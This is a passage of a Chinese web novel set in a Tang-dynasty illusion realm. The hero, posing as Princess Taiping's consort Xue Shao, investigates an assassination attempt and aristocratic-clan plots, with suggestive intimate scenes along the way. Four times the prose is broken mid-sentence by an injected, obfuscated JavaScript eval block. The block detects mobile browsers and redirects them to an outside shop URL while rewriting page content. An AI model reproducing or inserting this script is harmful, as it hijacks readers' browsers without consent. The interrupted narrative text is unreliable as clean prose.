他放下碗,拿起银匙,慢悠悠地搅动着碗中逐渐融化的冰酪,随意吩咐道:“去,给公主府递个话,就说本王新得了几坛从西域龟兹国商人手中重金购得的葡萄美酒,据说酿造时加入了雪山金昙花,风味殊异,堪称绝品。请驸马得暇时,务必过府共赏,品评一番。” 侍从低声补充:“王爷,线报再三确认,驸马最后所用身法阵法,虽似是而非,且仓促间不完备,但其中关窍、步法方位,确与宫中秘档所载、袁天罡《乙巳占》及《太白会运》图中所述星衍遁甲之术,同出一源,绝非寻常道观所能有。” 李显笑容更深,眼中兴味更浓,摆了摆手:“知道了。去吧,话要说得漂亮些。” 相王府。 相王李旦仿佛对外界骤然掀起的风波毫无所觉,正于书房中,对着王羲之的《兰亭序》神龙摹本,专心致志地临摹,笔锋沉稳,气定神闲。闻报大慈恩寺外惊现刺杀,驸马薛绍显露惊人武艺与疑似道术,携太平公主突围遁走,金吾卫及公主府侍卫死伤颇重,他笔锋都未停,甚至连眼皮都未抬一下,只淡淡“嗯”了一声,仿佛在听一件与己无关的琐事。待侍从禀报完毕,他才缓缓搁笔,用雪白的宣纸吸去笔尖余墨,语气温和如常: “知道了。阿姊受惊了。去库房,将前日得的那幅吴道子《天王送子图》摹本找出来,装裱妥当。然后去公主府一趟,告诉阿姊,我新近得了这幅画,笔意精妙,气势恢宏,听闻驸马亦精鉴赏,请驸马闲暇时,过府一同鉴赏品评,也好为阿姊压惊。” 语气温和恳切,完全是一副关心姐姐、喜好风雅的弟弟模样。 待侍从躬身应诺,轻手轻脚退下,并细心地将书房门掩好后。李旦脸上的温和笑意如同潮水般褪去,变得一片漠然。他又缓缓提起笔,对着字帖,似乎想继续临摹,但手腕悬停片刻,忽然猛地将手中那支价值不菲的紫毫笔,狠狠掷入一旁那方硕大的青玉洗墨池中! “噗通”一声闷响,墨汁四溅,沾染了他素白的袍袖与前襟。池水墨黑如夜,深不见底。透过晃动的墨色水面,隐约可见池底沉着半块边缘粗糙、似乎被利刃或重器强行劈开、断裂处还带着毛刺的物事——那形状,赫然也是一枚鸱吻纹铜符的一半,与他案头镇纸下压着的另一半,本应严丝合缝。 56. 螳螂捕蝉 黄雀在后 太平蜷在七宝香车的锦垫上,指尖死死攥着刘皓南青墨色袍角。返程途中她始终未发一言,直到马车驶入公主府丹凤门,突然扑进他怀中剧烈颤抖。"他们...那些箭..."她哽咽时后颈咒印泛起诡谲的玫金色,竟与白日刺客刀锋的碧磷毒光隐隐呼应。刘皓南打横抱起她穿过九曲回廊,对跪满一地的侍女喝道:"备安神汤!" 浴池蒸腾的水汽里,太平像藤蔓般缠在刘皓南身上。他解她腰间蹙金绣带时,发现繁复的同心结被死攥得变了形——正是唐代贵女襦裙常见的腰饰。"薛绍..."她咬着他耳垂泣语,齿尖不经意擦过他下唇,"那毒烟漫过来时,我瞧见掖庭局送来的素绫纹样..."突然哗啦一声水响,她将他按在池壁亲吻,血腥味在两人唇齿间漫开。刘皓南突然反客为主,将她抵在紫檀屏风上,吻带着安抚的力道滑过她战栗的脊梁。窗外侍女隔门轻问:"殿下可要传膳?"内间却传来更漏声混着屏风倒塌的巨响。待刘皓南披着湿发唤人备宵夜时,声音还带着情动后的沙哑,中衣领口斜敞处可见淡淡红痕。侍女欲收拾倾颓的紫檀屏风,却被他摆手制止:"明日再理。" 子时烛火摇曳,太平终于枕着刘皓南臂弯睡去。他凝视帐顶蟠螭纹,脑中重现长街杀机:刺客第一波箭矢竟全冲他坐骑而来;毒烟弥漫时,分明有支弩箭擦着他耳际射入车壁——这般精準手法,绝非寻常江湖死士。他轻轻抽身下榻,指尖在案面蘸茶画出关系网:河东薛氏、范阳卢氏、东宫属官...忽然顿住——这些看似散落的线索,竟全部指向他经手的弩司档案! 辰时大明宫 御史大夫武攸宁率先出列:"驸马当街连毙二十七人,依《永徽律疏·斗讼律》''诸斗殴杀人者绞'',然其手法狠厉远超必要,当究''擅杀''之罪!" 李显轻转玉圭:"皇妹鸾驾遇刺,金吾卫伤亡殆尽。依《卫禁律》''诸夜无故入人家者,登时杀之勿论'',驸马护主心切何罪之有?" 李贤将笏板搁在鎏金案:"《捕亡律》有云:''诸罪人持杖拒捍,其捕者格杀之勿论''。刺客既用碧磷毒刃,便是死罪。倒是武大夫如此关切入案手法,莫非识得刺客路数?" 清河崔氏代表崔知温嗤笑:"五姓七望的子弟,谁家没几手防身的本事?难道要学寒门子弟任人宰割?" 李治忽然倾身:"哦?崔卿所谓的防身本事,包含袁天罡的北斗遁甲术?"满殿霎时死寂。 武将席突然传来黑齿常之的粗犷低语:"可惜了这棵帅才苗子,偏生做了驸马..."话音未落便被同僚拽住。 武后指尖在凤座扶手上轻叩三下,丹陛下立即响起大理寺卿的奏报:"现场刺客尸身皆被毁容,所用兵器均为作坊流通制式。" 退朝钟响起时,李治起身掸了掸袍角:"三日之内,朕要看到大理寺的验尸格目。" 刘皓南站在公主府望楼,看朱雀大街上的百官车驾如蝼蚁散去。太平昨夜情动时无意识的契丹语呢喃忽在耳畔回响——那是杨排风幼时在幽州学的胡商暗语。他猛然攥紧栏杆,这场刺杀根本不是试探,而是有人要借太平遇刺的由头,彻底清查与弩机案相关的所有势力!晨风卷起狄仁杰今晨密信的最后一行字:"范阳卢氏昨夜有十二车丝绸出城,守门校尉查验时,闻见硝石气味。" 次日清晨,晨光微透窗棂,刘皓南悄然起身,见太平犹自沉睡。他自行洗漱更衣后,信步至庭院。迎着清露朝霞,将华山剑法的险峻、公孙剑舞的灵动与成玄英《步天歌》中“星移斗转”的玄妙步法融会贯通。舞到急处,剑势陡然一变,竟不自觉带出昨日长街血战时的军阵杀气——那是他在辽国军中生死搏杀淬炼出的狠厉,剑锋过处隐隐有金戈铁马之声;步法流转间又忽现红弗女诡谲莫测的身法残影,如鬼魅踏阴阳。剑风激荡间,庭中老桂枝叶纷落如雨,剑气直冲九霄,震得檐角铜铃清响不绝。 此时,太平早已被剑气惊醒,隐于廊柱后悄然观看,眼中异彩连连,却未打扰。待他完整收势,敛息凝神后,太平方缓步而出,披着杏子黄绫披风,抚掌赞叹:“阿绍此剑,竟将公孙三娘的飘逸化为刚劲,又暗合星象流转之妙!”刘皓南回身见她,剑眉微蹙:“殿下可安好?”太平脸上一红,眼波流转间嗔道:“驸马昨晚安慰的那般...努力,奴又不是寻常小妇,哪里便能惊那么久。”语带娇嗔催促,“快去更衣洗漱,早膳已备在花厅。”说罢转身吩咐侍女备水。 二人正在花厅用着碧粳粥,忽闻门房来报狄仁杰递帖求见。不过盏茶工夫,这位大理寺丞已疾步而来,眉宇间凝着深忧。 “下官勘察现场有新发现。”狄仁杰开门见山,“二十七名刺客,除被金吾卫弓弩射杀、被驸马剑器所毙者外,尚有三人死状奇特——一人喉骨尽碎,似被重手法捏断;另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185084|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人筋骨扭曲,伤口走势诡谲,下官翻阅典籍,竟似.….战法遗韵。” 刘皓南搁下银箸,神色平静:“昨日毒烟弥漫,视线不清。彼辈既持刃扑来,皓南为护殿下周全,只得用些早年学的防身手段。狄寺丞应当明白,《捕亡律》有载:‘诸罪人持杖拒捍,其捕者格杀之勿论’。” “下官自然明白。”狄仁杰目光如炬,“蹊跷处在于,刺客皆被毁容,且衣饰分明是两批人——一批粗布劲装,专司近战搏杀;另一批着靛蓝短打,袖□□烟筒。太平公主殿下身份尊贵不假,但何以引来两路死士联手围杀?这阵仗,倒像是...” “像是有人借公主鸾驾,行一石二鸟之计。”刘皓南截过话头,指尖轻叩案几,“狄寺丞若真想查明真相,不如往兵部弩司档案库走一遭。月前陇右道进献的那批‘神机弩’,似乎少了几件要紧物事。” 狄仁杰瞳孔微缩,深深一揖:“谢驸马指点。” 同一时刻,紫宸殿内香烟缭绕。 大理寺卿张文瓘伏地叩首:“陛下,现场痕迹显示,首波箭矢全数射向驸马坐骑;毒烟弥漫时,唯一一支弩箭亦是擦驸马耳际而过。依臣愚见...”他顿了顿,声音压得更低,“被刺对象,恐怕本就是驸马,非是公主。” 李治指尖玉扳指“咔”地轻响:“说下去。” “刺客所用兵器虽为制式,但其中三柄横刀柄部暗刻鸱吻纹——此乃范阳卢氏私兵标记。另有五人靴底沾着河东特有的赭色黏土。”张文瓘抬头,额间已现冷汗,“此案...恐涉五姓七望。” 殿中死寂良久。李治忽然挥手:“卿且退下,三日期限,朕等着大理寺的格目。” 待张文瓘身影消失在殿外,李治猛然将案上青玉镇纸扫落在地:“好个五姓七望!连朕的女婿都敢动!” “陛下息怒。”武后从屏风后转出,纤指拾起镇纸,“范阳卢氏、河东薛氏...这些百年望族盘根错节,张文瓘不敢深查也在情理。”她将镇纸轻轻放回案上,唇角勾起微妙弧度,“依妾看,不如就做出穷追不舍的姿态。他们做贼心虚,自会露出马脚——届时让这些高门自己撕咬,岂不比皇家亲自下场更妙?” 李治凝视殿外渐明的天光,良久,从牙缝里挤出一句:“就依媚娘所言。告诉狄仁杰,给朕盯死弩司那条线。” 窗外,晨钟轰然响彻长安。 57. 所谓士族 辰时刚过,门房忽报大郎君到访。刘皓南踏入花厅时,只见薛顗正负手立于《山河社稷图》前,指尖重重划过河东道——那里是薛氏祖地,如今却大半被范阳卢氏、清河崔氏蚕食。这位薛绍的长兄身着鸦青圆领袍,腰佩银鱼袋,俨然四品御史的威仪,眉宇间却凝着化不开的郁气。 “二郎可知前日晋昌坊的血案,已惊动御史台?”薛顗转身时,袖中滑出一卷弹劾奏章草稿,“武氏竟敢以‘擅杀’罪名弹劾驸马!若祖父尚在,岂容寒门胥吏如此欺辱薛氏?”他突然逼近一步,目光如刀,“更让我心惊的是——你何时习得那一身诡谲武艺?还有那手袁天罡一系的道法!我薛氏祖传的《河东剑谱》你向来不屑一顾,如今倒会些闻所未闻的杀人之术!” 刘皓南眸光微动。他想起宋辽之际的北汉旧部,那些将士至多念叨“光复故国”,却从不似眼前人般,将“士族共治天下”挂在嘴边。这种视皇权为虚设的猖狂,令他脊背生寒。 “大哥过虑了。”他执壶斟茶,推过一盏越窑青瓷,“《永徽律疏》明载护驾者无罪。至于武学……不过是些防身小技。” “防身小技?”薛顗骤然攥紧茶盏,指节发白,“你当街使出的‘星陨九天’,分明是华山秘传!还有那手北斗遁甲——若早知你有这等本事,我拼着得罪武后也要阻你尚主!我们河东薛氏百年积淀,难道还护不住一个嫡子?”他忽然压低嗓音,“二郎可读过《北魏书》?昔年崔浩欲复‘五等爵制’,正是要重现‘王与马共天下’的士族盛世!” 刘皓南心头剧震。他想起北汉覆灭时,自己也曾日夜图谋复国,可所求不过是夺回故土、再现刘氏江山。而薛顗眼中燃烧的,却是要彻底颠倒君臣纲常,让天下成士族私产!这种绵延数百年的门阀执念,比刀光剑影更令人胆寒。 “大哥慎言。”他瞥向窗外摇曳的竹影,“崔浩终被夷三族,正因触碰了帝王逆鳞。”话出口时喉间发涩——他分明看见历史长河里薛顗谋反被诛的结局, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185085|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却只能任由幻境按既定轨迹运转。 薛顗冷笑一声,从袖中抽出一封吏部文书:“年底就是父亲六十大寿,我却要赴济州上任。寿宴……就劳二郎操办了。”他指尖在“济州”二字上重重一顿——此地与范阳卢氏的势力范围仅一水之隔。 刘皓南接过文书时,触到暗袋里硬物。待薛顗离去后展开,竟是半枚鸱吻纹铜符。窗外忽起惊鹊,他想起狄仁杰昨日密报:“范阳卢氏有十二车丝绸出关,守将查获夹层藏弩机。” 是夜,刘皓南独坐书斋,将铜符压在《北魏书·崔浩传》上。烛火摇曳间,他忽觉这盛唐幻境比宋辽战场更凶险——这里厮杀的不是明刀明枪,而是百年门阀浸透在骨血里的权欲。上官婉儿铸此幻阵,或许不止为补全太平情缘,更想警示后人:李唐盛世的光鲜表皮下,早被蛀空了根基。 远处传来更鼓声声,他合上书卷,指尖抚过铜符上的鸱吻纹路。东苑寝殿的烛火早已熄灭,而七日之期,才过去两日。 58. 幻境起源 刘皓南踏进公主府东苑书房时,但见一位青袍老者正临窗而立——虽是薛绍之父薛怀昱的身份,眉眼却仍是凌霄子本来的清癯模样。他身着三品紫袍,腰束金玉带,头戴乌纱幞头,俨然一副士族文官打扮,可抬手间竟不自觉露出捻诀的姿势,又生生转为拂袖动作。这位师叔入幻境前为替他化解李淳风星衍禁制的反噬,生生耗去三成真元,此刻脸色却已恢复红润。 “师叔的伤……”刘皓南将怀中三卷道典置于青玉案,正是上官婉儿所赐《南华真经注疏》《太白会运图》与《乙巳占》手稿。 凌霄子捻须而笑,指尖在《太白会运图》帛书边缘一拂,竟拈出枚米粒大的“上官氏藏”朱砂暗印:“那女人藏宝极多,都赏你什么了?”见刘皓南耳根微红,话锋陡然转厉,“你可知这幻境来历?” 刘皓南眸光骤凝。凌霄子袖中滑出半片龟甲,其上蚀纹竟与太平颈后咒印同源:“玉女门创于薛绍饿死狱中后第七日。上官婉儿以毕生修为铸此幻阵,是要让太平在虚妄中补全与薛绍未尽的姻缘。” “所以史上除武攸暨外,太平公主所有面首……” “皆进过此阵。”凌霄子颔首时,龟甲裂痕蔓延如蛛网,“薛绍遭难时,太平正怀第四子。上官婉儿是要让他们都化成薛绍替身——可那些凡夫俗子,哪个经得住这般情劫?” 刘皓南望向窗外:“阵眼何在?” 凌霄子忽然笑得意味深长,将《南华真经注疏》推回他面前:“贫道修为未复,暂且看不破。倒是你……”他指尖在“庖丁解牛”篇的“以神遇而不以目视”句上重重一点,“何不施些风流手段?阵眼或许就在那位于虚虚实实间的公主殿下身上。” 刘皓南耳根发热地辞别师叔,在公主府中探查阵眼。行至暖阁,见太平公主斜倚湘妃榻——这位玉女门创派祖师此刻化身幻境主角,漫不经心翻着画本。石榴裙裾下赤足轻晃,纱衣松垮间□□半掩,俨然是午睡刚醒的模样。这般“□□半掩疑暗雪”的打扮,既带着盛唐的大胆开放,又不失帝国公主的骄矜。 “薛郎可知婉儿最新注解?”太平慵懒抬眼,指尖轻点《落魄书生夜探香闺图》书页眉批。画本中,一采花大盗对官家千金一采再采,竟采出真感情的故事被她用指尖圈点,眉批处赫然是上官婉儿清秀却大胆的笔迹:“采花贼三探香闺,当以惊鸿步破窗,方显男儿胆色。” 刘皓南目光扫过书页右下角“上官氏藏”朱印,猛地僵住——“上官婉儿?那个辅政女官竟写这等……” 太平倾身,吐气如兰,纱衣随之滑落,露出更多雪白肌肤:“这故事妙极~若你婚前也这般大胆来采我几回,何至于让我苦等三年合卺?”她眼波流转,带着帝国公主特有的骄矜与妩媚,“当年我穿武官服求阿娘指婚时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185086|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就想你这呆子若有人家半分胆色……” 刘皓南耳根微热,正色道:“公主说笑了。”他心中却如明镜:这分明是上官婉儿借艳本指点男女欢情之道,难怪太平公主对欢情刺激的要求如此之高。 一道凌厉剑气突从梁上掠过!寒芒走势如瘦金体折勾,正是玉女门独有的“锦心剑法”。空中飘来细若游丝的女声:“七日之内,圆公主心愿。” 刘皓南急回首,见太平已合眼假寐,对剑气浑然不觉——上官婉儿不愧是一代女相,连警示都不着痕迹。 是夜子时,刘皓南在公主府探查阵眼。经过回廊,忽见第二道剑气裂空而至!直指他咽喉三寸处,女声冷冽如冰:“还剩六日。” 他急侧身躲闪,察觉这剑气走势竟带几分聂隐娘的诡谲风格。第三道剑气化作寒梅映雪之景,空中女声轻叹:“婉儿辜负公主所托,未能护住薛绍性命……” 刘皓南猛然顿悟:上官婉儿设此幻境,是为弥补当年未能保全薛绍的遗憾;而太平公主对欢情刺激的要求极高,或许正是阵眼显现的关键。 残月西斜时,他踏着晨露返回。暖阁内太平公主熟睡的面容与杨排风重叠,上官婉儿以毕生修为铸此幻境,只为在虚妄中补全太平公主与薛绍未能圆满的十年姻缘。 七日劫,方启第一章。北汉皇孙困于盛唐旧梦,烧火丫头命悬于虚实之间。 59. 不合格的采花贼 是夜,刘皓南独坐书斋,将铜符压在《北魏书·崔浩传》上。烛火摇曳间,白日薛顗那番“士族天下”的狂言与太平公主翻阅《落魄书生夜探香闺图》时眼中一闪而过的、近乎少女般纯粹的神往交织在一起。凌霄子那句“何不施些风流手段”的提点,与兄长“早知你有这等本事绝不让你尚主”的愤懑,在他脑中碰撞出刺目的火花。 他起身,从箱笼深处翻出一身玄色劲装。这身黑衣曾助他夜探大宋皇宫如入无人之境,此刻紧贴肌肤,却只让他觉得粗粝刺痒,仿佛穿上了一层格格不入的戏服。他蒙上面巾,推开窗,如一片无声的落叶滚入沉沉夜色,精准地避开巡更的灯火与暗哨,潜向东苑寝殿。作为夜行者,他无可挑剔;但作为“采花贼”,每一步都踏在自我认知崩解的边缘。 寝殿内水汽氤氲,玉兰香膏的气息暖融融地弥漫。他甫一落地,便见屏风后转出一道裹着湿发的玲珑身影。太平只着单薄寝衣,纱罗袒领被水痕浸得半透,紧紧贴着起伏的曲线,水珠自她湿漉漉的发梢滚落,滑过纤巧的锁骨,没入那引人探寻的衣襟深处。 “薛郎这是要做刺客,”太平歪着头,湿发淌下的水珠沿着脖颈亮晶晶地滑下,她笑得寝衣滑落半肩,露出一片温润的雪肤,“还是来学那画本里的书生……做采花的勾当?”她目光流转,落在他衣摆沾着的尘土草屑上,笑意更浓,带着毫不掩饰的戏谑,“滚得这一身泥,倒像是真去翻了墙、蹚了土,比那纸上谈兵的书生有诚意得多!” 刘皓南呼吸微窒,慌忙扯下蒙面巾,下意识地便要依着薛绍平日温雅的姿态躬身作揖。这笨拙的转换让太平“噗嗤”一声,竟笑得上气不接下气,她扶着妆台,肩头轻颤,寝衣随着笑声滑落更多,几乎要兜不住那满溢的春色。“哎哟……我的薛郎,你、你这般正经作揖……是来讨教学问的么?”她笑出了泪花,好半晌才缓过气,眼波横流,随手从妆台上捻起一支金簪,看也不看便掷入他怀中,“赏你的‘缠头费’!既来学人偷香,岂有空手而回的道理?” 那牡丹纹金簪累丝精巧,嵌宝生辉,是典型的唐代贵女饰物。刘皓南接着这沉甸甸、冷冰冰的“赏赐”,一时愣怔。太平却已慵懒地卧回锦榻,因动作而松散的寝衣门户大开,她浑不在意,只用簪尖虚虚点了点他衣襟上最显眼的一处尘渍,声音忽然低了下去,带着一丝难以捕捉的幽微:“婉儿总说,人间欢情如朝露,易晞易散……”她指尖的金簪在烛光下折射出冰冷坚硬的光,“可本宫偏要它似这金镶玉,砸不碎,烧不化,要它长久,要它实在。” 这话语里的执拗与脆弱,让刘皓南心头莫名一撞。他几乎是逃也似的,抓起那金簪,转身避入一旁的浴房。 沉香浴汤微烫,他赤身坐在其中,盯着水面倒影里那张属于薛绍、却又仿佛叠着杨排风惊慌眼眸的脸。时间不多了。他狠狠闭眼,再睁开时,忆起曾在汴京暗巷偶见南风馆小倌招揽恩客的姿态,心一横,将薛绍那件月白柔软的名贵里衣披上肩头,却故意不系衣带,任由衣襟大敞,露出紧实胸膛与未擦干的水痕。这身不伦不类的装扮,配上他因紧绷而显得近乎肃杀的眼神,形成一种诡异的矛盾。 当他这般模样走出浴房,太平公主先是一怔,目光在他敞露的胸膛和那张紧绷的俊脸上来回逡巡,随即,爆发出比先前更猛烈的大笑。她笑得扑倒在锦衾间,肩头颤动不止,几乎喘不过气:“薛郎……薛郎这身打扮……哈哈哈……莫不是想去荐了自己,给姑母们当解闷的面首?”她一边拭着笑出的泪花,一边断断续续地调侃,“只是……只是这眼神,活像要奔赴刑场英勇就义……怕是只有姑母她们眼神不好的时候,才会将就着点你……” 刘皓南耳根通红,僵立原地,进也不是退也不是。他这身夜行本领足以在百万军中取敌首级,此刻却在一个女子的笑声里溃不成军,十足一个技艺高超却完全不合格的“采花贼”。 更漏幽幽,响过三声。太平的笑声渐渐歇了,她慵懒地摆了摆手,眉眼间染上真正的乏意,方才的鲜活与尖锐如潮水般褪去:“罢了,今日笑得身子都乏了……薛郎,且来安寝吧。” 烛火被她轻轻吹熄。黑暗降临的刹那,窗外骤然掠过尖锐破空之声!一道无形剑气穿透窗纸,不偏不倚,在床榻对面的紫檀窗棂上,刻下一个深入木纹的、泛着幽蓝微光的“五”字。 “还剩五日。”上官婉儿冰冷的声音如一线寒泉,直接渗入刘皓南的脑海,带着不容置疑的催促,“公主殿下今日……仍不尽兴。” 刘皓南在黑暗中,望向身旁太平朦胧的轮廓,指尖深深掐入掌心。 晨光漫过绡纱帷帐,刘皓南醒来时,见怀中人颈间咒印仍泛着妖异玫红。他凝视太平公主安睡的侧脸,杨排风的容貌在晨曦中泛着柔和光泽,宛若宣纸洇开的工笔美人图。初夏微风拂过榻边玉钩,惊起一串碎铃般的轻响,檐外黄莺啼破晨霭。 刘皓南支起身,见太平仍合目沉睡,青丝如墨瀑铺满鸳鸯枕。他鬼使神差地低头,唇瓣轻触咒印边缘,那玫红竟似活物般微微悸动。太平在梦中轻哼,寝衣系带悄然松散,露出半截玉雕似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185087|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩头。他指尖刚抚上那寸微凉肌肤,帐外忽闻黄莺乍啼,惊得他指尖一颤。 “薛郎今日倒醒得迟?”太平倏然睁眼,眸中清明似雪水洗过的黑曜石。她支起身子,月白寝衣顺肩滑落,“可是在琢磨昨夜那身可笑的采花贼行头?”指尖点在他心口,温软中带刺。 刘皓南捉住她捣乱的手,神色一凛:“公主,昨夜我蒙面闯殿,你怎就断定是薛某?若真是歹人......” 太平闻言笑倒在他肩头,寝衣领口斜敞,一段光滑雪背在晨光中浮起珠光。“呆子!”她捏着他耳垂轻笑,气息暖融,“哪家采花贼会蒙面直闯公主寝殿?不是刺客便是盗匪。”突然咬他下巴,贝齿硌得他闷哼,“我的薛绍就算裹成粽子,脚步声也带着三分傲气。” 刘皓南怔忡间,她已勾颈贴面而来。此时疾风撞开支摘窗,蔷薇香混着金猊炉沉香扑面。锦帐剧烈晃荡,一只女子的手猛地探出想抓帐幔,却被骨节分明的手如铁钳般扣住腕子——那力道带着武学高手特有的控制力,指腹薄茧硌得她细肤泛红,却又在拽回时透出几分缱绻的迟疑。 “殿下……”刘皓南粗重喘息混着轻笑,“臣现在这采花贼可合格否?”帐内传来衣帛窸窣与一声破碎呻吟。透过翻飞纱幔,可见一截小腿无力垂落榻沿,腿侧赫然印着几道新鲜指痕,胭脂色的淤痕在玉白肌肤上如落梅瓣——分明是方才情动时他失控攥握的印记。 太平断断续续的笑骂从帐缝漏出:“合格……怎不合格……连、连本宫的腰都快被你揉进骨血里……”语尾化作呜咽,似哭似笑。 更漏声里,太平颈间咒印已褪作淡红。她懒懒趴在锦被上,由着刘皓南替她擦拭湿发。晨光镀过光滑雪背,腰肢曲线没入被褥褶皱,唯有肩胛处一抹浅红指痕暗示着晨间癫狂。 “薛郎可知……”她忽然翻身凑近,眼中迷离似蒙雾的琉璃,“方才让我想起新婚夜在太液池畔……那时你比现在还要笨拙……”指尖抚过他眉骨,“池畔芙蓉开得正盛,你在月下为我簪花的样子,活像只偷到灯油的小鼠……” 刘皓南未深想,只当是幻境设定的记忆。他轻吻她眉心,全然不知这新婚夜记忆正蚕食着杨排风的本体意识。正当他沉溺温情时,太平咬着他耳垂轻笑:“今晚…本宫还等着采花贼先生来偷香……”玉足故意蹭过他小腿淤痕,“但愿莫再穿夜行衣,平白糟蹋了好料子。” 刘皓南下榻时一个踉跄。铜镜里,杨排风颈间咒印已褪成淡红,而那妖异玫红转为淡红的变化,恰似情欲与咒术交织的暗涌。 60. 夹缝中的驸马 辰时三刻,狄仁杰踏进公主府书房时袖中落下一柄淬火奇特的断刃。他指尖轻点刃口幽蓝的叠云纹:“今晨验尸房在刺客兵刃上验出此纹——长孙家旧部冶铁特有的标记。”又抚过刃身卷缺口:“这崩损痕迹,正是劈砍金吾卫重甲所致。” 刘皓南拈起断刃时,狄仁杰以茶蘸案画出三条交错线:“三名刺客尸身仍停于大理寺冰窖,可兵刃锻铁技法与贞观年间长孙家督造的陌刀同源。”窗外忽传来太平与侍女笑闹声,狄仁杰话锋陡转:“今晨五姓七望相互攻讦,皆指对方与长孙家残部有染——范阳卢氏弹劾清河崔氏私购吐蕃锻铁,河东柳氏反指卢氏匠作坊藏有叠云纹模具。” 刘皓南凝视茶汤中浮沉的茗芽,忽将断刃推回:“狄寺丞可曾想过,若此刻揭破吐蕃锻铁术,第一个被灭口的会是谁?” 狄仁杰瞳孔微缩。他想起大理寺卷宗里魏王李泰结案记录的模糊处——那具被野狗啃噬的遗体,结案词仅以“暴毙”二字草草带过。 “未时三刻,验尸格目归档时会缺三行墨迹。”狄仁杰起身欲走,袖缘掠过案上《西域记》恰停在“吐蕃冶铁”篇。刘皓南忽道:“听说长孙无忌临终前,曾诅咒‘兵戈反噬’。” 待狄仁杰离去,刘皓南从密室搬出三尺高的门阀谱牒。泛黄纸页上,范阳卢氏与河东薛氏的联姻脉络如蛛网蔓延,清河崔氏更通过九次嫁娶将触角伸向江南。他揉着刺痛的太阳穴,想起耶律宗元当年那句笑谈:“刘郎若生在盛唐,必能位列凌烟阁。”复又瞥见案几下方新沾的青黏土——与刺客鞋底痕迹相同。他揉着刺痛的太阳穴,想起耶律宗元当年那句笑谈:“皓南兄若生在盛唐,必能位列凌烟阁。” ——可那契丹枭雄怎知大唐的凌烟阁功臣,如今正被当今天子亲手拆骨分尸?他苦笑掷开断刃,案头《吐蕃贡使名录》被风掀开,露出“贞观二十三年,长孙无忌荐禄东赞幼子入国子监”的记载。 申时未至,公主府掌事女官疾步呈上绢报:长孙家暗桩在醴泉坊被灭口,喉骨中检出半枚焦黑银符。刘皓南展开染血绢布,见银符边缘粘着星点碧磷毒——与日前刺客所用剧毒同源。 暮鼓初响时,檐角铜铃被疾风震响。灰鸽扑棱棱掠过金顶,带着五姓七望相互撕咬的奏章飞向大明宫 酉时三刻,公主府寝殿内十二枝连盏银灯逐次亮起。刘皓南踏入殿门时,见太平正俯身调整食案上的玛瑙盏。她今日穿着鹅黄绣银线缠枝牡丹的常服,发间素玉步摇在烛火中流转着温润光泽,眉眼柔和得不似白日那位纵马过市的公主。 “薛郎禁足的日子,倒比本宫还忙。”太平抬眼时步摇轻晃,指尖将一碟鲈鱼脍推至案几对侧,“尚食局新供的冰镇鲈鱼,再不用你偷偷使金吾卫的腰牌去冰窖取冰了。” 刘皓南在她对侧跪坐,目光扫过满案珍馐——玲珑玉簪的羊肉毕罗,琥珀色的驼蹄羹,还有那盘切得薄如蝉翼的鲈鱼脍,每一片都透着粉玉般的光泽。他想起白日里翻阅的那些门阀谱牒,范阳卢氏嫁女需备三百车嫁妆,清河崔氏娶妇要论九世清名,忽然觉得口中醇厚的葡萄酿都泛起涩意。 “公主,”他执起犀角筷夹了片鱼脍,状似随意道,“若臣……并非出身河东薛氏,公主当初可还会应下这桩婚事?” 太平正抿着酒,闻言轻笑出声。她放下夜光杯,指尖掠过他空荡的腰间:“薛绍,你今日是去查阅那些陈年谱牍看花了眼不成?”烛光映着她狡黠的眉眼,“你们薛氏在太宗朝便已式微,如今还得靠你这驸马都尉撑门面——真要论门第,五姓七望末席都未必瞧得上。” 